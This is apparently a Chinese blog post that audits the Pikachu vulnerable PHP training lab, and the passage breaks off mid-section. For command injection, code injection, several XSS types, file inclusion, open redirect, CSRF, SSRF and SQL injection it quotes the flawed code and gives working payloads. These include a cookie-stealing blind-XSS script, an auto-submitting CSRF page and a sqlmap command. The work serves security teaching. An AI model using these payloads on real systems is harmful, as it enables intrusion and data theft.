首页 > 其他分享 >pikachu靶场漏洞代码分析

pikachu靶场漏洞代码分析

时间:2024-11-05 10:21:27浏览次数:2  
标签:return GET pikachu 漏洞 html 靶场 php data POST

pikachu靶场代码漏洞分析

部署工具:phpstudy

Command Injection 命令注入

exec "ping"

路径:http://localhost/pikachu-master/vul/rce/rce_ping.php

请求方式:POST
参数:ipaddress=xxx

漏洞成因:利用由不可信赖的数据构建的命令来调用 shell_exec()。这种调用会导致程序以攻击者的名义执行恶意命令

审计:

$result='';

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }

}

可以看到,客户端输入的ipaddress参数被服务器接收到以后,带入了shell_exec()命令函数中执行,在这之间,ipaddress未做任何的过滤,导致这里可以被用户输入控制

shell_exec()为命令执行函数,能通过 shell 执⾏命令并将完整的输出以字符串的⽅式返回,属于危险函数

验证:

payload:POST | ipaddress=192.168.43.180 && dir /a

Code Injection 代码注入

exec eval()

路径:http://localhost/pikachu-master/vul/rce/rce_eval.php

请求方式:POST

参数:txt=xxx

漏洞成因:将未验证的用户输入通过eval()解析为源代码。在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。

审计:

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

    }

}

用户输入的参数txt未经任何的过滤,直接传入了eval()函数中执行,导致这里可以被用户输入控制

eval()函数:把字符串按照 PHP 代码来解析,是一个危险函数

验证:

payload:txt=phpinfo();

xss注入

xss DOM

路径:http://localhost/pikachu-master/vul/xss/xss_dom_x.php

请求方式:GET

参数:text=xxx

漏洞成因:

  • 客户端传入的值未作任何的过滤处理
  • 传入的参数值输出到浏览器页面,恶意代码会被js引擎解析导致xss

审计:

php业务逻辑

$html='';
if(isset($_GET['text'])){
    $html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}

js处理

<script>
    function domxss(){
        var str = window.location.search;	//获取url参数部分 也就是?之后的值
        console.log(str);
        var txss = decodeURIComponent(str.split("text=")[1]);	//url解码
        console.log(txss);
        var xss = txss.replace(/\+/g,' ');	//将+替换为空
        console.log(xss);
    //alert(xss);

        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
    }
</script>

html

<form method="get">
    <input id="text" name="text" type="text"  value="" />
    <input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>

<div id="dom"></div>

</div>

<?php echo $html;?>

以上的重点在于触发a链接的点击事件后,执行js函数domxss(),在domxss()函数中接收了text参数值,并没有作'、"、<script> 字符的过滤或html编码,直接传入<a href='"+xss+"'> 中,输出到页面

验证:

payload:GET | ?text=' onclick="alert('xss')">?text='><img src="#" onm ouseover="alert('xxs')">

xss stored 存储型

路径:http://localhost/pikachu-master/vul/xss/xss_stored.php

请求方式:POST
参数:message=xxx

漏洞成因:

  • 传入数据通过mysql_real_escape_string()处理后,转义了单引号、双引号、反斜杠等,并没有过滤html、js相关的特殊字符,也就是转义不彻底,然后存入了数据库
  • 数据被从数据库中取出,没有html编码或转义,也就是输出未过滤,数据中包含的恶意代码会在浏览器上被js引擎解析

审计:

php插入数据部分

if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="<p>数据库出现异常,提交失败!</p>";
    }
}

//转义,避免fuck
function escape($link,$data){
    if(is_string($data)){
        $str = mysqli_real_escape_string($link,$data);
        return $str;
    }
    if(is_array($data)){
        foreach ($data as $key=>$val){
            $data[$key]=escape($link,$val);
        }
    }
    return $data;
}

数据从数据库中读取部分

 <div id="xsss_main">
    <p class="xsss_title">我是一个留言板:</p>

    <form method="post">
        <textarea class="xsss_in" name="message"></textarea><br />
        <input class="xsss_submit" type="submit" name="submit" value="submit" />
    </form>

    <div id="show_message">
        <br />
        <br />
        <p class="line">留言列表:</p>

        <?php echo $html;
        $query="select * from message";
        $result=execute($link, $query);
        while($data=mysqli_fetch_assoc($result)){
            echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
        }

        echo $html;
        ?>
</div>

参数message通过mysql_real_escape_string()会将存在的单引号、双引号、反引号转义,然后存入数据表message中,数据库表中的content值存储的是去掉了反斜杠的数据,

从数据库中取出的content值直接拼接了——> <p class='con'>{$data['content']}</p>未做任何编码或转义,也就会导致每个访问该页面的用户中招

验证:

payload:POST | message=<script>alert("xss")</script>

xss reflect 反射型

路径:http://localhost/pikachu-master/vul/xss/xss_01.php

请求方式:GET

参数:message=xxx

过滤方式:使用正则匹配<script

漏洞成因:

  • 数据过滤不严格,正则过于简单'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/'
  • 数据在浏览器被

审计:

$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
    //这里会使用正则对<script进行替换为空,也就是过滤掉
    $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
//    $message=str_ireplace('<script>',$_GET['message']);

    if($message == 'yes'){
        $html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
    }else{
        $html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
    }

}

过滤不严格:'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/'

绕过方式:

  • 大小写:<ScRipt></Script>
  • img标签触发onerror事件:<img src=1 one rror="alert(1)">
  • HTML实体:&#x3C;script&#x3E;
  • 十六进制编码:&#x3C 表示<

验证:

payload:GET | ?message=<img src=1 one rror="alert(1)">

路径:http://localhost/pikachu-master/vul/xss/xss_reflected_get.php

请求方式:GET

参数:message=xxx

漏洞成因:未做任何过滤的数据输出到浏览器页面导致的xss

审计:

$html='';
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){	//$_POST['message']也是一样的逻辑,只是请求方式不同
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}

这里只做了对message参数的判空,未做任何过滤,直接拼接到了$html.="<p class='notice'>愿你和{$_GET['message']}

验证:

palload: GET | ?massage=<script>alert('xss')</script>

xss-htmlspacialchars()默认用法可绕过

路径:http://localhost/pikachu-master/vul/xss/xss_02.php

请求方式:GET

参数:message=xxx

过滤方式:html编码--htmlspacialchars()函数

漏洞成因:使用了htmlspacialchars()默认的处理方式,该函数默认不过滤' ,导致的

审计:

$html='';
$html1='';
$html2='';
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入点啥吧!</p>";
    }else {
        //使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
        $message=htmlspecialchars($_GET['message']);	//等于htmlspecialchars($_GET['message'],ENT_COMPAT)
        $html1.="<p class='notice'>你的输入已经被记录:</p>";
        $html2.="<a href='{$message}'>{$message}</a>";
    }
}

htmlspecialchars()函数的默认处理是使用quetestyle类型:ENT_COMPAT,不编码单引号,具体用法如下:

原字符串:               Bill" & 'steve'<>
ENT_COMPAT(default):    Bill&quot; &amp; 'steve'&lt;&gt;        		|默认只转换了双引号
ENT_QUOTES:             Bill&quot; &amp; &#039;steve&#039;&lt;&gt;      |转换双引号和单引号
ENT_NOQUOTES            Bill" &amp; 'steve'&lt;&gt;     				|不转换任何引号

通过审计,被htmlspecialchars处理过的数据,最后被拼接到了一个a标签的href属性里,这个时候可以通过闭合' 的方式插入恶意代码,因为'没被过滤

验证:

payload:GET | ?message=' onclick='alert(document.cookie)'

xss-标签属性中javascript协议绕过

路径:http://localhost/pikachu-master/vul/xss/xss_03.php

请求方式:GET

参数:message=xxx

漏洞成因:作了html编码,但是标签属性中可以使用javascript协议来执行js

审计:

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
    }
    if($_GET['message'] == 'www.baidu.com'){
        $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
    }else {
        //输出在a标签的href属性里面,可以使用javascript协议来执行js
        //防御:只允许http,https,其次在进行htmlspecialchars处理
        $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
        $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
    }
}

验证:

payload:GET | ?message=javascript:alert(document.cookie)

xss-js绕过

路径:http://localhost/pikachu-master/vul/xss/xss_04.php

请求方式:GET

参数:message=xxx

漏洞成因:未过滤数据并传入了script代码块中

审计:

php

if(isset($_GET['submit']) && $_GET['message'] !=null){
    $jsvar=$_GET['message'];
//    $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
    if($jsvar == 'tmac'){
        $html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
    }
}

js

<script>
    $ms='<?php echo $jsvar;?>';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

验证:

payload:GET | ?message=22';alert(1)//

xss-盲打

路径:http://localhost/pikachu-master/vul/xss/xssblind/xss_blind.php

请求方式:POST

参数:content=xxx,name=xxx

漏洞成因:

  • 前台用户输入的数据使用了mysql_real_escape_string()做了单引号、双引号、反斜杠等特殊字符的转义,未做html、js特殊字符的过滤,存入了数据库中
  • 数据被展示到了后台页面,这期间未做输出过滤,导致xss

审计:

前台php代码

$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){
    $content=escape($link, $_POST['content']);
    $name=escape($link, $_POST['name']);
    $time=$time=date('Y-m-d g:i:s');
    $query="insert into xssblind(time,content,name) values('$time','$content','$name')";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        $html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
    }else {
        $html.="<p>ooo.提交出现异常,请重新提交</p>";
    }
}
function escape($link,$data){
    if(is_string($data)){
        $str = mysqli_real_escape_string($link,$data);
        return $str;
    }
    if(is_array($data)){
        foreach ($data as $key=>$val){
            $data[$key]=escape($link,$val);
        }
    }
    return $data;
}

后台管理页面

路径:http://localhost/pikachu-master/vul/xss/xssblind/admin.php

<?php
$query = "select * from xssblind";
$result = mysqli_query($link, $query);
while ($data = mysqli_fetch_assoc($result)) {
    $html = <<<A
        <tr>
            <td>{$data['id']}</td>

            <td>{$data['time']}</td>

            <td>{$data['content']}</td>

            <td>{$data['name']}</td>

            <td><a href="admin.php?id={$data['id']}">删除</a></td>

        </tr>

    A;
    echo $html;
}

?>

验证:

payload:POST | name=str&content=<script>var img = document.createElement('img');img.src='http://localhost/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>

前台盲打

后台中招

接收后台cookie

File Inclusion 文件包含

本地文件包含

路径:http://localhost/pikachu-master/vul/fileinclude/fi_local.php

请求方式:GET

参数:filename=xxx

漏洞成因:

  • php.ini开启了allow_url_include=on,允许文件包含
  • 参数未经过滤直接传入文件包含函数中导致
  • 文件包含函数是将文件内容用php解析,不关注文件后缀名

审计:

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     //安全的写法,使用白名单,严格指定包含的文件名
//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include "include/$filename";

//     }
}

查看php.ini中allow_url_include开启情况

验证:

payload:GET | filename=file://../../../../../../../../../windows/system32/drivers/etc/hosts

远程文件包含

路径:http://localhost/pikachu-master/vul/fileinclude/fi_remote.php

请求方式:GET

参数:filename

漏洞成因:

  • php.ini中allow_url_include=On、allow_url_fopen=On
  • 参数未经过滤直接传入文件包含函数中导致
  • 文件包含函数是将文件内容用php解析,不关注文件后缀名

审计:

//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";//变量传进来直接包含,没做任何的安全限制
}

验证:

payload:GET | ?filename=http://192.168.43.180:8083/phpinfo.txt

http://192.168.43.180:8083部署在ubuntu上

本机是win10

phpinfo.txt内容是:<?php phpinfo();

Open Redirect 开放重定向

路径:http://localhost/pikachu-master/vul/urlredirect/urlredirect.php

请求方式:GET

参数:url=http://xxx

漏洞成因:将未验证的数据传递给 HTTP 重定向函数。如果允许未验证的输入控制重定向机制所使用的 URL,可能会有利于发动钓鱼攻击。

审计:

$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
    $url = $_GET['url'];
    if($url == 'i'){
        $html.="<p>好的,希望你能坚持做你自己!</p>";
    }else {
        header("location:{$url}");
    }
}

可以看到url参数直接拼接了:location:{$url}

验证:

payload:GET | ?url=http://www.baidu.com

CSRF

路径:http://localhost/pikachu-master/vul/csrf/csrfget/csrf_post_edit.php

请求方式:POST

参数:sex=xxx&phonenum=xxx&add=xxx&email=xxx

漏洞成因:

  • 一个危险操作的API的参数中,没有不可预测的参数值
  • 攻击者制作的pok可以自动获取处于登录状态用户的登录信息

如果同时存在xss漏洞的情况下,csrf漏洞可以和xss漏洞配合使用

可以制作一个钓鱼链接诱惑用户点击访问,更易中招

审计:

$link = connect();
// 判断是否登录,没有登录不能访问
if (!check_csrf_login($link)) {
    //    echo "<script>alert('登录后才能进入会员中心哦')</script>";
    header("location:csrf_post_login.php");
}

$html1 = '';
if (isset($_POST['submit'])) {
    if ($_POST['sex'] != null && 
        $_POST['phonenum'] != null && 
        $_POST['add'] != null && 
        $_POST['email'] != null) {
        
        $getdata = escape($link, $_POST);
        $query = "update member 
                  set set='{$getdata['sex']}',
                  phonenum='{$getdata['phonenum']}',
                  address='{$getdata['add']}',
                  email='{$getdata['email']}'
                  where username='{$_SESSION['csrf']['username']}'";
        $result = execute($link, $query);
        if (mysqli_affected_rows($link) == 1 || mysqli_affected_rows($link) == 0) {
            header("location:csrf_post.php");
        } else {
            $html1 .= '修改失败,请重试';
        }
    }
}

?>

<?php
//通过当前session-name到数据库查询,并显示其对应信息
$username = $_SESSION['csrf']['username'];
$query = "select * from member where username='$username'";
$result = execute($link, $query);
$data = mysqli_fetch_array($result, MYSQLI_ASSOC);
$name = $data['username'];
$sex = $data['sex'];
$phonenum = $data['phonenum'];
$add = $data['address'];
$email = $data['email'];

$html = <<<A
    <div id="per_info">
    <form method="post">
    <h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="csrf_post.php?logout=1">退出登录</a></h1>

    <p class="per_name">姓名:{$name}</p>

    <p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>

    <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>    
    <p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p> 
    <p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p> 
    <input class="sub" type="submit" name="submit" value="submit"/>
    </form>

    </div>

    A;
echo $html;
echo $html1;

?>

这是一个修改用户信息的业务,可以看到请求的参数中只有username,sex,address,email,这些都是可以用户自定义的,也就是明确的,并没有一个不可预测的参数在其中,由此攻击者可以以此制作出一个钓鱼页面,如果用户在登录的情况下访问该页面,就会在无意识中被修改了个人信息

验证:

制作这个API的csrf的pok,让用户在登录的情况下访问这个页面

这个页面保存在http://192.168.43.180:8083/csrf_pok.php中

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
<form action="http://192.168.43.183/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
  <input type="hidden" name="sex" value="hacker" />
  <input type="hidden" name="phonenum" value="hacker" />
  <input type="hidden" name="add" value="hacker" />
  <input type="hidden" name="email" value="hacker" />
  <input id="submit" type="submit" value="Submit request" />
</form>
<script>
  document.getElementById('submit').click();
</script>

试验用户:vince

在登录的情况下访问:http://192.168.43.180:8083/csrf_pok.php

修改成功!!!

还有一个路径为:http://localhost/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php的csrf漏洞,不一样的是请求方式是GET,利用方式是一样的....

SSRF

curl_exec

路径:http://localhost/pikachu-master/vul/ssrf/ssrf_curl.php

请求方式:GET

参数:url=xxx

漏洞成因:

  • 用户输入的url未经过过滤,被curl_exec()执行,可以在网站服务器上执行curl,然后返回给了前端页面
  • curl命令允许从其他服务器获取数据,比如内网系统,curl支持FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP协议

审计:

//payload:
//file:///etc/passwd  读取文件
//http://192.168.1.15:22 根据banner返回,错误提示,时间延迟扫描端口

if(isset($_GET['url']) && $_GET['url'] != null){

    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    echo $RES;

}
?>

服务器直接获取了url参数值,未经过滤,传入curl_exec()执行,导致的ssrf

验证:

payload:GET | ?url=file://../../../../../../../../windows/system32/drivers/etc/hosts

file_get_contents

路径:http://localhost/pikachu-master/vul/ssrf/ssrf_fgc.php

请求方式:GET

参数:file=xxx

漏洞成因:

  • 用户输入的数据直接代入了file_get_contents()函数中执行
  • file_get_contents()函数用于读取文件或者 URL 内容,并返回为字符串。这个函数可以读取本地文件系统中的文件,也可以通过 HTTP、HTTPS 或 FTP 协议读取远程文件内容。

审计:

//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
    $filename = $_GET['file'];
    $str = file_get_contents($filename);
    echo $str;
}

验证:

payload: GET | ?file=php://filter/read=convert.base64-encode/resource=../../../../../../../windows/system32/drivers/etc/hosts

将得到的base64编码的字符解码

sql injection sql注入

数字型注入

路径:http://localhost/pikachu-master/vul/sqli/sqli_id.php

请求方式:POST

参数:id=xxx

漏洞成因:未做任何的处理,直接拼接到sql语句中了

审计:

$link=connect();
$html='';

if(isset($_POST['submit']) && $_POST['id']!=null){
    //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
    }
}

验证:

payload: POST | id=0 union select user(),database()

使用burp抓包改包

字符型注入

路径:http://localhost/pikachu-master/vul/sqli/sqli_str.php

请求方式:GET

参数:name=xxx

漏洞成因:name没有做任何处理,直接拼接到sql语句中执行了

审计:

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

验证:

payload:GET| ?name=' union select user(),database();-- abc 考虑'的闭合问题

搜索型注入

路径:http://localhost/pikachu-master/vul/sqli/sqli_search.php

请求方式:GET

参数:name=xxx

漏洞成因:没有做任何处理,直接拼到sql语句中了

审计:

if(isset($_GET['submit']) && $_GET['name']!=null){

    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];

    //这里的变量是模糊匹配,需要考虑闭合
    $query="select username,id,email from member where username like '%$name%'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        //彩蛋:这里还有个xss
        $html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
        while($data=mysqli_fetch_assoc($result)){
            $uname=$data['username'];
            $id=$data['id'];
            $email=$data['email'];
            $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    }else{

        $html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
    }
}

验证:

payload:GET | ?name=#%' union select 1,user(),database() -- abc 需要闭合%'

xx型注入-('')注入

路径:http://localhost/pikachu-master/vul/sqli/sqli_x.php

请求方式:GET

参数:name=xxx

漏洞成因:没有做任何处理,直接拼到select里面去了

审计:

$link=connect();
$html='';

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username=('$name')";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

验证:

payload: GET | ?name=') union select user(),database() -- abc 需要闭合')

insert注入

路径:http://localhost/pikachu-master/vul/sqli/sqli_iu/sqli_reg.php

请求方式:POST

参数:username=xxx&password=xxx&sex=xxx&phonenum=xxx&address=xxx&email=xxx

漏洞成因:各个参数都没有过滤特殊字符,直接代入了insert语句中执行

审计:

$html='';
if(isset($_POST['submit'])){
    if($_POST['username']!=null &&$_POST['password']!=null){
//      $getdata=escape($link, $_POST);//转义

        //没转义,导致注入漏洞,操作类型为insert
        $getdata=$_POST;
        $query="insert into member(username,pw,sex,phonenum,email,address) 
        values(
        '{$getdata['username']}',
        md5('{$getdata['password']}'),
        '{$getdata['sex']}',
        '{$getdata['phonenum']}',
        '{$getdata['email']}',
        '{$getdata['add']}')";
        
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){
            $html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
        }else {
            $html.="<p>注册失败,请检查下数据库是否还活着</p>";

        }
    }else{
        $html.="<p>必填项不能为空哦</p>";
    }
}

验证:

insert注入没有回显,这里使用报错注入函数

payload:POST | username=user' and extractvalue('1',concat(0x7e,user())) and '1'='1&password=123&sex=malephonenum=137&address=a&email=a

最终的执行sql语句是:insert into member(username,pw,sex,phonenum,address,email) value ('user' and extractvalue('1',concat(0x7e,database())) and '1'='1','123','male','137','a','a');

update注入

路径:http://localhost/pikachu-master/vul/sqli/sqli_iu/sqli_edit.php

请求方式:POST

参数:sex=xx&&phonenum=xx&address=xx&email=xx

漏洞成因:未转义,形成注入,sql操作类型为update

审计:

$html1='';
if(isset($_POST['submit'])){
    if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){
//        $getdata=escape($link, $_POST);

        //未转义,形成注入,sql操作类型为update
        $getdata=$_POST;
        $query="update member 
        set sex='{$getdata['sex']}',
        phonenum='{$getdata['phonenum']}',
        address='{$getdata['add']}',
        email='{$getdata['email']}' 
        where username='{$_SESSION['sqli']['username']}'";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
            header("location:sqli_mem.php");
        }else {
            $html1.='修改失败,请重试';

        }
    }
}

验证:

payload: POST | sex=male' and extractvalue('1',concat(0x7e,user())) and '1'='1&phonenum=138&address=a&email=a

执行的sql语句是:update member set sex='male' and extractvalue('1',concat(0x7e,user())) and '1'='1',phonenum='138',address='a',email='a' where username='vince';

del注入

路径:http://localhost/pikachu-master/vul/sqli/sqli_del.php

请求方式:GET

参数:id=xxx

漏洞成因:未对传进来的id进行处理,导致del注入

审计:

// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        header("location:sqli_del.php");
    }else{
        $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
    }
}

验证:

delete语句属于危险操作,如果存在del注入,会导致数据丢失的可能,比如输入:1 or 1=1 ,如果用户权限允许,会将表数据全部删除

这里手工测试的话,使用报错注入的手法验证

payload:GET | 0 and extractvalue(1,concat(0x7e,user()))

http header注入

路径:http://localhost/pikachu-master/vul/sqli/sqli_header/sqli_header.php

请求方式:GET

参数:读取请求包中的header字段信息 | REMOTE_ADDR、HTTP_USER_AGENT、HTTP_ACCEPT、REMOTE_PORT

漏洞成因:直接不做任何过滤的,获取数据包中的header信息,并带入insert语句中,存入数据库

审计:

//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

if(isset($_GET['logout']) && $_GET['logout'] == 1){
    setcookie('ant[uname]','',time()-3600);
    setcookie('ant[pw]','',time()-3600);
    header("location:sqli_header_login.php");
}

<div class="page-content">

    <?php
    $html=<<<A
        <div id="http_main">
            <!-- 这里是直接输出了从$_SERVER接收到的值 -->
            <h1>朋友,你好,你的信息已经被记录了:<a href="sqli_header.php?logout=1">点击退出</a></h1>

            <p>你的ip地址:$remoteipadd</p>

            <p>你的user agent:$useragent</p>

            <p>你的http accept:$httpaccept</p>

            <p>你的端口(本次连接):tcp$remoteport</p>

        </div>

        A;
    echo $html;
    ?>

验证:

在burp中改包,这里该USER_AGENT的包,参数是:injection' and extractvalue(1,concat(0x7e,user())) and '1'='1 ,使用报错注入验证

布尔盲注

路径:http://localhost/pikachu-master/vul/sqli/sqli_blind_b.php

请求方式:GET

参数:name=xxx

漏洞成因:未做任何过滤,传入sql语句中执行

审计:

$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    //mysqi_query不打印错误描述,即使存在注入,也不好判断
    $result=mysqli_query($link, $query);//
//     $result=execute($link, $query);
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

验证:

mysqli_query()不打印错误描述,这里就不能使用报错注入了

使用布尔盲注验证:kobe' and 1=1# kobe' and 1=2#

kobe' and 1=1# 能够查询出结果

kobe' and 1=2#输出不存在

时间盲注

路径:http://localhost/pikachu-master/vul/sqli/sqli_blind_t.php

请求方式:GET

参数:name=XXX

漏洞成因:没有做任何处理,直接拼到select里面去了

审计:

$link=connect();

$html='';

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
//     $result=execute($link, $query);
//    $html.="<p class='notice'>i don't care who you are!</p>";
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            //这里不管输入啥,返回的都是一样的信息,所以更加不好判断
            $html.="<p class='notice'>i don't care who you are!</p>";
        }
    }else{

        $html.="<p class='notice'>i don't care who you are!</p>";
    }
}

验证:

使用sqlmap扫描:python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_blind_t.php?name=&submit=submit" --thchnique=T -o

宽字节注入

路径:http://localhost/pikachu-master/vul/sqli/sqli_widebyte.php

请求方式:POST

参数:name=xxx

漏洞成因:

  • 设置了mysql客户端编码为gbk
  • gbk属于宽字节,宽字节编码规则中,两个字节表示一个字符
  • 数据过滤特殊字符是通过在特殊字符前加\ 转义成普通字符,在宽字节编码的规则下,通过在特殊字符前手动加入一个字节,将原本要编码成\的字节去和加入的字节编码,这就使得原本的\不见了,导致的绕过

示例:用户输入:%df' ->参数过滤:%df%5c%27%20 ->GBK编码->%df%5c%27%20:渾' 单引号逃逸了,即可注入

审计:

$link=connect();

$html='';

if(isset($_POST['submit']) && $_POST['name']!=null){

    $name = escape($link,$_POST['name']);
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
